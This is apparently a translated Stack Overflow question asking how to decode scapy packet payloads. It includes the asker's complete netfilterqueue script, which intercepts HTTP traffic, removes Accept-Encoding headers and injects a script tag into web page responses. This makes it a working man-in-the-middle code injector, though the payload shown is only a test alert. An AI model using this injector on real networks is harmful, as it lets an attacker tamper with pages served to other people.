python - 如何将“scapy_packet [scapy.Raw] .load”中的数据解码为字符串以进行修改?
问题描述
我正在尝试编写一个将小脚本插入网页的程序,之前</body>
。但是存储在 scapy_packet [scapy.Raw] .load 中的数据是字节类型。我正在尝试将它们解码为字符串,但总是出现错误:
文件“code_injector.py”,第 21 行,在 process_packet load = load.decode('utf-8') UnicodeDecodeError: 'utf-8' codec can't decode byte 0xe7 in position 0: invalid continuation byte
这是我的代码:
import netfilterqueue
import scapy.all as scapy
import re
def set_load(packet, load):
packet[scapy.Raw].load = load
del packet[scapy.IP].chksum
del packet[scapy.IP].len
del packet[scapy.TCP].chksum
return packet
def process_packet(packet):
scapy_packet = scapy.IP(packet.get_payload())
if scapy_packet.haslayer(scapy.Raw):
load = scapy_packet[scapy.Raw].load # load = scapy_packet[scapy.Raw].load.decode()
load = load.decode('utf-8') # load = load.decode('utf-8', 'ignore')
if scapy_packet[scapy.TCP].dport == 80: #HTTP only
print("This is REQUEST")
load = re.sub("Accept-Encoding:.*?\\r\\n", "", load)
# print(scapy_packet.show())
elif scapy_packet[scapy.TCP].sport == 80:
print("This is RESPONSE")
load = load.replace("</body>", "<script>alert('test');</script></body>")
# print(scapy_packet.show())
if load != scapy_packet[scapy.Raw].load:
new_packet = set_load(scapy_packet, load)
packet.set_payload(bytes(new_packet)) # bytes, not string!
packet.accept()
queue = netfilterqueue.NetfilterQueue()
queue.bind(0, process_packet)
queue.run()
我试图忽略该错误,但随后该站点将无法加载。
load = load.decode('utf-8', 'ignore')
其他编码(不是 utf-8)不起作用
我的 Python 是 Python 3.8
在 Python 2.7 上,scapy 不起作用。在 Python 3.9 上,netfilterqueue 不起作用。:-(
操作系统——卡利 Linux。
PS:搜索了足够的时间后,我认为问题出在两个开头的“0x”字符上。
PPS:对不起我的英语...
解决方案
readable_payload = bytes(packet[TCP].payload).decode('UTF8','replace')
此代码片段可用于解密简单的 HTTP 流量。
推荐阅读
- java - SMTP:得到响应代码 530,响应:530 5.7.57 问题,同时使用 POM.xml 文件执行电子邮件配置
- ios - 如何使用通知中心将数据从第三个视图控制器向后移动到第一个视图控制器?
- sql - 在postgresql中按时间范围按数据分组
- binding - 量角器:ng-binding ng 代表什么
- python - 查找 H5 文件的意图
- javascript - Vuetify Navigation Drawer 和其他组件中的导航栏
- android - 使用 pocketsphinx 检测名称
- c# - 在 ASP.Net Core 中开始使用 FullCalendar 的问题
- javascript - 如何根据使用角度在html中选择的单选按钮获取布尔值
- python - 如何从 email.message.Message 对象获取发件人邮箱?